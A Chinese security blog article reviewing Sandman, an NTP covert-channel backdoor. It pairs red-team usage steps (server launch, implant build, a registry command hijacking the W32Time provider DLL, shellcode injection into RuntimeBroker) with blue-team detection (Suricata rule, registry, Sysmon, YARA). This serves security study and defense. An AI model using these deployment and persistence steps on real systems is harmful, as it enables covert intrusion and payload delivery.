文章总结: Sandman是2022年开源的NTP隐蔽信道后门,利用UDP/123时间同步报文传输载荷元数据,可伪装成w32time时间提供者DLL实现重启存活。红队可用于出网受限环境演练,蓝队可据此检测NTP出网管控缺失。文章提供完整上手步骤与检出方法,实操性强,但工具无加密且代码冻结。 综合评分: 85 文章分类: 红队,内网渗透,安全工具,恶意软件,应急响应
Sandman:把 C2 睡进 NTP(红队上手×蓝队防御)
原创
枪火·攻防技术 枪火·攻防技术
赛博57库
2026年9月7日 05:00 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
| | | — | | 开源项目 · 红蓝工具 · NTP/隐蔽信道 Sandman:把 C2 睡进 NTP 时间同步的后门(红队上手×蓝队防御) NTP 信道后门 · 适用性 × 上手 × 检出 · GPL-3.0 |
| | | — | | 📌 本文怎么读 本文简单讲解 48 字节 NTP 报文里怎么塞魔数与明文、URL 怎么分块伪装成时间同步响应、又如何借 w32time 时间提供者接口把信标塞进系统服务 |
TL;DR
Sandman 是安全研究员 Ido Veltzman(Idov31)在 2022 年开源的 NTP 协议隐蔽信道后门(GPL-3.0,818 star),定位是”给加固网络里的红队演练提供一条出得去的信道”。读它之前先把三句话放心里:
• 它是什么:一个 Stager 型后门——恶意代码本身不在它身上,它只负责在”防火墙只放行 NTP 时间同步”的网络里,把下一段载荷的 URL 和大小运进来,再拉取 shellcode 注入进程执行;
• 它能做什么:用 UDP/123 上”人畜无害”的时间同步报文做 C2 信道,可伪装成 Windows 的 w32time 时间提供者 DLL,让信标循环直接长在系统时间服务里——服务重启、机器重启都会自动复活;
• 它是怎么做到的:48 字节的 NTP 报文里塞进 0x1B + "IDOV31" 魔数 + 明文数据,服务端把载荷 URL 按 41 字节/块伪装成 NTP 响应回传,客户端再用 WebClient(或注入 wininet 下载型 shellcode)拉取真正的载荷,注入 RuntimeBroker 进程落地。
| | | — | | 结论先行:这是一个”演示信道思想”的 PoC,不是拿来即用的武器——它无加密、无混淆、代码量极小、两年没更新。但红队值得读它,因为 NTP 是多数边界白名单里真实的盲区;蓝队更值得读它,因为它的特征清晰到可以一条条写成规则,是一份绝佳的”NTP 出网管控自检样本”。适用性边界、红队上手步骤、蓝队检出手段,正文按节展开。 |
一、它是什么:红队作者写给”出网困难户”的 NTP 信道后门
一句话定位:Sandman 是一个 NTP 信道 Stager。它解决的问题非常具体:红队打进内网后,发现出网策略极其严格——HTTP/HTTPS 要过代理审计、DNS 请求全量记录、ICMP 被禁——但 UDP 123(NTP)居然是通的。原因是时间同步是刚需,防火墙上”放行 NTP”几乎是默认配置,而且安全团队很少盯着它。Sandman 就把 C2 的第一公里(stager 阶段)搬进了这条没人看的通道。
作者的履历决定了这工具的气质。Idov31(Ido Veltzman)是以色列安全研究员,此前的标签是内核红队:
• Nidhogg:Windows x64 rootkit,2471 star,25+ 功能;
• Sandman:本篇主角,818 star;
• MrKaplan:痕迹清理工具,273 star;
• EtwLeakKernel:研究从 ETW 消费者上下文泄漏内核地址,94 star;
• 近年转防御:NovaHypervisor(275 star,BYOVD 缓解)与 EtwSuite(ETW 检视套件,上篇拆过)。
一个天天研究 rootkit 与内核对抗的人,写”怎么在加固网络里出网”时会天然想到复用系统自带机制——Sandman 的两条技术线都来自这个思路:①信道选 NTP(Windows 的 w32time 服务默认就在打 UDP/123);②隐藏形态选”时间提供者 DLL”——这个点子来自 Tim McGuffin(@NotMedic) 的著名思路(README 里挂了原推),Orca(ORCx41)则贡献了 x64 下载型 shellcode。
项目状态快照(2026-09 复核):仓库 14 个 commit,主体代码完成于 2022–2023 年,最近一次仓库动作约在两年前——基本冻结的 PoC,无维护声明。818 star / 111 fork 说明圈内认可度高(它是 NTP 隐蔽信道这个细分方向里 star 最高的项目之一),但别期待 issue 响应与版本迭代。技术栈:服务端 Python + scapy(约 100 行),客户端 C#/.NET Framework 4.8(约 200 行),总代码量极小——这本身就是”读得完、学得会”的优点。
它在同类信道里的坐标(个人看法,供拍砖):
| | | | | | — | — | — | — | | 出网信道 | 通行性 | 被检测成熟度 | 典型代表 | | HTTPS/443 | 最通,但被盯得最死 | 极高:TLS 指纹、SNI、JA3、代理审计 | 所有商业 C2 | | DNS | 基本必通 | 高:query 全量留痕,DNS 隧道检测成熟 | dnscat2、iodine | | ICMP | 常被禁或限速 | 中:payload 编码空间小、易被流量分析抓 | 老牌 ping 隧道 | | NTP/UDP123 | 多数网络默许放行 | 低:几乎无人深检 | Sandman 等小众 PoC |
它不是什么(划清边界,后面各节都要用到):不是完整的 C2 框架——它不提供命令交互、不上线会话、无加密,它只负责”把下一段东西送进来然后消失”;不是隧道——吞吐按字节算(单块 41 字节),拉个 agent 要分几十块;也不是持久化框架——注入是一次性的,进程退出就没了(唯一的”持久”形态是 w32time 提供者 DLL,见第三节形态 B)。
二、它能做什么:四个能力 + 适用边界
对照源码逐条数,它能做的事其实只有四件,但每件都踩在点上:
01 单条 UDP/123 报文的”唤醒-投递”:植入体每 2 秒发一条 48 字节的 NTP 探测;服务端一旦在报文里认出魔数,就把 载荷 URL(分块)和载荷大小 用一连串 NTP 响应回传——信道只运”元数据”,真载荷走 HTTP(S) 拉取;
02 拉取并注入任意 shellcode:默认用 WebClient().DownloadData() 下载指定 URL 的原始 shellcode(长度必须与服务端配置一致),注入到指定进程(默认 RuntimeBroker)的远程线程执行;也可编译进 Orca 的 wininet 下载 stub,让”下载”发生在注入后的进程内部;
03 回包源 IP 伪装:服务端可把 NTP 响应的源地址伪造成 time.windows.com 等真实时间服务器的 IP——流量分析若只按”目的 IP 白名单”粗看,会以为目标在跟微软对时(注意:源地址伪造只在能做反欺骗的网络里成立,见第三节坑位);
04 w32time 时间提供者形态:同一套逻辑编译成 DLL,导出 W32Time 标准的 TimeProvOpen/TimeProvCommand/TimeProvClose 接口并写进注册表——Windows Time 服务启动时自动加载它并调用 TimeProvOpen,信标循环从此”长在”系统时间服务里,服务重启/机器重启自动复活。
适用边界——谁适合拿它干什么:
• 红队适用:内网渗透演练中确认出网策略”只放行 123″或”放行到公网 NTP 服务器”的场景;想给客户证明”NTP 出网管控缺失”时的最小演示;stager 阶段落地后由被注入的成熟 beacon(CS / meterpreter 等)接管后续通信——把信道隐蔽和载荷加密分开,Sandman 只当第一公里;
• 蓝队适用:研究”NTP 被遗忘的协议”这类隐蔽信道长什么样;拿官方 YARA 与本文的检出线做规则验证;做 NTP 出网白名单管控前,先拿它在隔离网里打一遍,验证自己的检测设备到底看不看得见(第五节有完整方法);
• 别用它的时候:需要端到端加密或抗分析的信道(它全明文);需要双向交互/高吞吐(它是单向投递器);目标是纯服务器环境(默认注入靶 RuntimeBroker 是桌面 AppModel 进程,服务器上往往不存在,找不到就静默失败);任务时间紧不想碰 VS 编译(服务端地址是源码常量,必须改源码重编译);AV/EDR 严格的环境(注入 RuntimeBroker 的经典序列是成熟检测点,第三节展开)。
Q1:有 HTTPS 和 DNS 隧道,为什么还要认识 NTP 信道?
因为”能用的信道”和”没人看的信道”是两回事。HTTPS 出网最方便,但正因为它方便,防守方把所有火力都堆在上面:TLS 指纹(JA3/JA4)、SNI 审计、代理解密、EDR 的 wininet/网络回调钩子——在严格环境里,一条陌生进程的 443 长连接本身就是告警。DNS 隧道理论必通,但企业 DNS 日志全量留存,query 长度异常 + 高熵子域 + 固定节拍 的检测规则十年前就成熟了,中间还有一层层 DNS 安全设备。而 NTP:
• UDP 无连接、无会话概念:流日志里它只是”一条 48 字节的 UDP 记录”,没有 TLS 握手、没有 SNI、没有连接时长可供分析;
• 系统自带客户端天天在打:Windows 的 w32time 默认就向 time.windows.com 发 NTP 请求——“主机在打 UDP/123″这件事本身毫无存在感,这正是它比”多一条 443 连接”隐蔽得多的根本原因;
• 协议有合法外衣:首字节 0x1B 是合法的 NTPv3 客户端报文头,报文固定 48 字节——粗看包长、看端口、看方向的设备全会放行。
反直觉的点在这里:Sandman 的信道段没有任何加密(URL 明文躺在 UDP 载荷里),但它依然有研究价值——因为它的威胁模型是”网络层只做端口/白名单管控、不做 NTP 深度内容检查“的防守方,而这恰恰是今天绝大多数企业的真实状态。它的代价也很诚实:固定 2 秒节拍、魔数字节、一问多答的响应模式,在愿意深检 NTP 内容的流量分析平台面前全是稳定指纹——所以它演示的是”在没人看的协议里通信“,而不是”在有人看的协议里藏通信”。
三、红队上手步骤:两种形态的完整流程
| | | — | | 前置条件:一台攻击者可控的服务器(UDP/123 可达目标即可,公网 VPS 或内网跳板均可)+ 一台 Windows 10/11 桌面测试机(.NET Framework 4.8 内置;有 RuntimeBroker 进程;能出网 UDP 123)。以下均为授权演练环境操作。 |
形态 A:独立 Stager EXE(快速验证信道)
01 服务端准备:git clone https://github.com/Idov31/Sandman,pip install -r SandmanServer/requirements.txt(scapy);
02 准备 stage2:把要投递的原始 shellcode 文件(CobaltStrike raw beacon、meterpreter 或任意 x64 shellcode 均可)放到一个 HTTP(S) URL 上;打开 SandmanServer/sandman_server.py,把顶部 PAYLOAD_SIZE = 0x110 改成你的 shellcode 文件实际字节数(源码注释原话:Replace with the real size of your shellcode!),长度对不上客户端会放弃;
03 启动服务端:python3 sandman_server.py eth0 "http://你的服务器/x64.bin"——第三个可选参数填某个真实 NTP 服务器的 IP(如 time.windows.com),响应源地址就会伪装成它;服务端 while True 循环,每个触发它的客户端都会得到一轮投递;
04 编译植入体:打开 SandmanBackdoor/Sandman/SandmanBackdoor.csproj(VS2022 或 dotnet build),改 Program.cs 顶部的常量——ntpServer 默认是内网示例 IP,改成你的服务器地址(也支持域名,代码会做 DNS 解析取第一个 A 记录);Release x64 编译出 Sandman.exe,几 KB 到几十 KB;
05 投放执行:直接运行,或经 ExecuteAssembly 等内存执行方式加载。观察现象:植入体每 2 秒发一条 UDP/123 探测 → 服务端命中魔数后回传 URL+大小(打印 [ + ] Activated the backdoor for <IP>!)→ 植入体用 WebClient 拉取 shellcode → 注入 RuntimeBroker → beacon 上线,Sandman 进程自己退出。
形态 B:w32time 时间提供者 DLL(隐蔽 + 重启存活)
01 同样先改 ntpServer 常量,然后编译 SandmanBackdoorTimeProvider 项目为 x64 的 DLL——注意 README 特别警告:必须 x64,AnyCPU 会失败(DllExport 依赖);
02 注册为 Windows 时间服务的 NtpClient 提供者(管理员):
| |
| — |
| reg add "HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Windows\Temp\timeprovider.dll" |
01 重启时间服务触发加载:net stop w32time && net start w32time——Windows Time 服务(svchost 宿主)启动时加载该 DLL 并调用导出的 TimeProvOpen,信标循环随即开始(同样 2 秒一轮);
02 此后服务重启、机器重启都会自动重新加载(注册表持久),不需要任何启动项。
红队视角的坑位清单(源码级,都是实测会踩的):
• 载荷 URL 别超过约 80 字符:分块协议的”块数通告”按 48 字节粒度计算、实际分块按 41 字节,URL 一长两块计数就对不上,客户端会把后续分块误当成”大小消息”解析失败——这是演示级代码的边界 bug,实操把 URL 压短(短路径 + 短域名);
• PAYLOAD_SIZE 必须与 shellcode 文件字节数完全一致:客户端下载后会做长度校验,不一致直接放弃本轮;
• 注入目标 RuntimeBroker 不是每台机器都有:桌面版 Win10/11 用户会话里一般存在,纯服务器/瘦客户机上没有——没有同名进程时本轮注入静默失败,植入体会继续轮询;
• 源 IP 伪装只在能做反欺骗的网络成立:scapy 直接把响应源地址写成微软时间服务器 IP,真实公网上运营商的反源地址欺骗过滤(BCP38)会把这些包丢掉——该特性适合实验室/可伪造源的内网,公网实战老老实实用直连模式;
• 信道段全明文:URL、大小都是明文,链路被镜像抓包会直接暴露 stage2 地址——别在关键目标上把这当”安全信道”用。
四、它是怎么做到的:48 字节报文里的门道
先看报文结构。所有 NTP 消息都是 UDP/123 上固定 48 字节的载荷,Sandman 的每一条消息都长这样:
三个字段各有各的戏:
• 字节 0 固定 0x1B:这是合法的 NTPv3 客户端报文首字节(LI=0、VN=3、Mode=3=client)。源码注释原话:”A required value for legit NTP packet”——中间盒/防火墙如果只粗检”是不是 NTP 形态”,看到 0x1B 开头就放行了;
• 字节 1–6 是魔数 "IDOV31"(hex 49 44 4F 56 33 31):这六个 ASCII 字符恰好落在真实 NTP 报文的 stratum/poll/precision/root delay 字段区——正常 NTP 这些字段都是小数值,出现六个可打印 ASCII 本身就是异常(蓝队弹药,第五节展开);
• 字节 7 起是数据区:URL 分块、块数、大小都以明文 ASCII 存放,遇到 0x00 截止,其余字节零填充。
一次完整的”投递”由三种消息构成(服务端 while True 抓 UDP/123,raw[1:7] == b"IDOV31" 即命中):
01 触发:植入体每 2 秒发一条探测(0x1B + 魔数 + 全零填充)——注意它不是一个”连接”,是每轮新建 UDP socket 发一条 48 字节就收;
02 URL 投递:服务端收到触发后回 0x1B + IDOV31 + URL;URL 超过 41 字节就先回一条”块数通告”,再按 41 字节/块、间隔 1 秒把 URL 分块发完(客户端收满通告的块数后拼接出完整 URL);URL 短则单条直达;
03 大小消息:URL 发完紧跟一条 0x1B + IDOV31 + 十进制大小(如默认 272),客户端据此知道 stage2 该有多大。
客户端侧的判定写得很松(这是 PoC 的典型气质):收到响应后用 signature.All(x => ntpData.Contains(x)) 判断——只要 48 字节里”碰巧包含”全部六个魔数字节就算被唤醒,不校验位置、不校验协议合法性;解析数据则是从第 7 字节读到第一个 0x00 为止。
拿到 URL 和大小后,取码与落地分两条路(Injector.cs):
• 默认路径:进程内 WebClient().DownloadData(url) 下载,校验字节数 == 服务端通告大小,然后 VirtualAllocEx(RW) → WriteProcessMemory → VirtualProtectEx(RX) → CreateRemoteThread 注入到第一个同名 RuntimeBroker 进程,WaitForSingleObject 等它跑完,keepRunning = false,植入体退出;
• USE_SHELLCODE 宏路径:不自己下载,而是把 Orca 写的 x64 wininet 下载 stub(位置无关 shellcode,YARA 里叫 $shellcode)注入目标进程,由 stub 在 RuntimeBroker 内部完成 InternetOpenUrlA 拉取——下载动作发生在被注入进程里,进程内不出现 WebClient 行为。
为什么这套东西能成立? 把上面三条消息拼起来看:植入体发出的是一条”标准 NTP 客户端请求”,收到的是”来自 NTP 服务器的一串 48 字节响应”——在只看端口、包长、方向的网络里,这就是一台 Windows 在正常对时。它睡在”系统本来就要打的协议”里:w32time 天天在发 UDP/123,多它一条流毫无存在感。代价前面说过:无加密、固定节拍、明文魔数——它能骗过的是”不看内容”的防守方,骗不过”愿意深检”的防守方,这就是第五节全部检测手段的立足点。
五、蓝队防御:四条检出线 + 一条兜底
好消息先说:因为 Sandman 的信道是明文的、定时的、结构可枚举的,它的检出难度远低于 DNS/HTTPS 隧道。坏消息是:默认没人看 NTP,所以检出它的第一步不是上规则,而是先回答”我的网络里到底谁在直连公网 UDP/123″。四条检出线从网络到主机排开:
线 1 · 网络层(最有效,先做白名单再做内容)
• 出网 123 白名单:域环境里主机的时间源是域控,本不该直连公网 NTP;工作组/非托管机才会直连 time.windows.com 之类。用防火墙/流日志筛”内网主机 → 公网 UDP/123″,先把名单收敛到个位数——这一步能拦掉 Sandman 的直连形态(形态 A 与 B 的默认配置);
• 一问多答不对称:合法 NTP 是一问一答、成对出现;Sandman 一轮触发会收到 2 条以上响应(URL 分块 + 大小),且响应之间间隔约 1 秒、同源同目的。流统计上”UDP/123 一对多、且有节奏”就是强信号;
• 内容校验(真正命中它的手段):别只看源 IP——它能把响应源伪造成时间服务器,判定标准必须是载荷本身:①响应首字节应为服务器模式(mode 4,如 0x24),而 Sandman 回包首字节 0x1B 是客户端模式(合法服务器响应不该出现);②魔数 49 44 4F 56 33 31 落在偏移 1–6,同时把 stratum 撑到 73(合法范围 1–15)、poll 撑到 68(合法约 4–17)——深度解析一抓一个准;③时间戳字段全零。参考 Suricata 思路(载荷偏移 1 处匹配六字节魔数,双向均可命中,正常 NTP 头部出现这段 ASCII 的概率约等于零):
| |
| — |
| alert udp any any -> any 123 (msg:"Sandman NTP covert channel magic"; content:"|49 44 4f 56 33 31|"; offset:1; depth:6; sid:2026090601; rev:1;) |
• 节拍特征:固定 2 秒一轮的 UDP/123 通信,持续两分钟以上(30 条记录)就该人工复核——正常时间同步是分钟级到小时级的。
线 2 · 主机层(专杀 w32time 形态)
• 注册表三件套:HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient\DllName 的默认值是 C:\Windows\SYSTEM32\w32time.dll——路径变了就是高置信告警(这是形态 B 的命门,藏不掉);顺带核对同键下 NtpServer 是否被指向陌生 IP;
• DLL 加载检测:Sysmon EventID 7(Image Loaded)盯 Windows Time 服务的 svchost 宿主——加载了非系统目录、无微软签名的 DLL 即告警;服务被手动重启(net stop/start w32time)本身也是事件(System 日志 7036);
• 时间源交叉验证:若真把恶意服务器当时间源,客户端时钟会被带偏——NTP 客户端事件日志与时钟漂移是旁证。
线 3 · 进程/注入层
• 注入 RuntimeBroker 的经典序列:跨进程 VirtualAllocEx(RW) → WriteProcessMemory → VirtualProtectEx(RX) → CreateRemoteThread——Sysmon EventID 8 或 EDR 的注入检测直接命中;RuntimeBroker 不是常规注入靶,任何指向它的远程线程都值得告警;
• 短命进程画像:一个几十 KB 的进程做了一次 HTTP(S) 下载后立刻退出(形态 A 的 Sandman.exe)——配合进程创建日志(4688/EventID 1)看命令行与下载行为。
线 4 · 文件层(静态规则零成本)
• 仓库自带官方 YARA(Sandman.yara,2022-09-12 落款):PE 且体积 < 30 KB 且命中 ≥ 10 条特征串即报警——特征串包括 Orca 下载 stub 的字节模式 $shellcode、以及 Sandman.exe、wininet.dll、ntpPort、payloadUrl 等明文字符串;
• C# 默认编译不混淆,字符串全是明文,静态规则极好写——把官方 YARA 原样入库 VT/EDR,把关键串转成 Sigma 也能覆盖大半。形态 B 的 DLL 同样吃这套规则。
兜底与演练:四条线装完,用本文第三节的步骤在隔离网里真实打一遍,回答三个问题:①你的出网 123 白名单拦没拦住直连形态?②流量分析平台几分钟内能看到”一问多答 / 魔数 / 2 秒节拍”?③主机侧注册表与 DLL 加载告警有没有响?——检测规则必须用真实样本验证,而不是拍脑袋写完就入库。
Q2:W32Time 天天都在打 NTP,怎么把”时间同步”和”信道”分开?
这是蓝队最实际的困惑:不能一竿子禁掉 NTP(时钟乱了全网报错),也不能对每条 UDP/123 都告警(噪音爆炸)。答案是先建基线,再对偏离项分级:
01 基线三问:①谁在问——出站目标是否在你的时间源白名单里(域控 / 指定的公网池)?②问多勤——正常对时是分钟~小时级,2 秒一轮的”对时”不是对时;③答得对不对——响应是否符合 RFC:mode 4、stratum 1–15、时间戳非零、一问一答成对;
02 分级处置:出站目标不在白名单 → 直接查;在白名单内但内容异常(魔数/模式错/stratum 越界/时间戳全零)→ 查——这一步专治”源 IP 伪装成 time.windows.com”的绕过;白名单、内容都正常但节拍固定 2 秒 + 一问多答 → 查;
03 取证提醒:它不走 DNS——在 DNS 日志里翻不到它(反直觉但重要);UDP 无会话,事后取证靠防火墙/流日志(五元组 + 包长 48 + 时间戳序列)与主机侧(注册表、DLL 加载、注入事件)交叉印证。流日志留存期建议覆盖 NTP 全量(它很小,留得起)。
六、总体评价与仓库
适合谁:红队新人想理解”非主流协议信道”的设计套路、演练中想验证 NTP 白名单盲区——上手门槛低,代码总量小,一晚上能读完;蓝队想做 NTP 出网管控或隐蔽信道检测——它是完美的自检样本(特征清晰、官方 YARA 现成、按第三节就能复现);做 C2 信道研究的人——它是 NTP 细分方向 star 最高的参考实现之一,还串联了 NotMedic 的 w32time 思路与 Orca 的 shellcode 两个经典技巧。
不推荐给:要拿它当生产武器的人(无加密、无维护、有边界 bug);要”开箱即用”的人(服务端地址在源码里,必须重编译)。
一句话收尾:Sandman 的价值不在于”又一个后门”,而在于它用最小的代码量讲清了隐蔽信道的一条朴素真理——最好的信道不是加密得看不见的信道,而是”系统本来就要打的协议”。对红队它是出网思路的启蒙,对蓝队它是 NTP 管控缺失的照妖镜;它停更了,但它的思路一直在被复刻——看懂它,攻防两边都少踩坑。
仓库与参考:https://github.com/Idov31/Sandman(GPL-3.0,818 star)。想读源码,性价比最高的两个入口:SandmanServer/sandman_server.py(约 100 行,看懂整条信道协议)和 SandmanBackdoor/Sandman/Program.cs + Injector.cs(看懂唤醒判定与注入落地)。参考资料:README 内附的 Tim McGuffin(@NotMedic)w32time 思路原推、Orca(ORCx41)的下载型 shellcode、官方 Sandman.yara。
| | | — | | 免责声明:本文所有内容仅限授权测试、攻防演练与安全研究使用。未经授权对他人网络/系统使用本文所述技术涉嫌违法,请遵守《网络安全法》及相关法规;由此产生的后果与本文作者及平台无关。 |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博57库 枪火·攻防技术 枪火·攻防技术《Sandman:把 C2 睡进 NTP(红队上手×蓝队防御)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论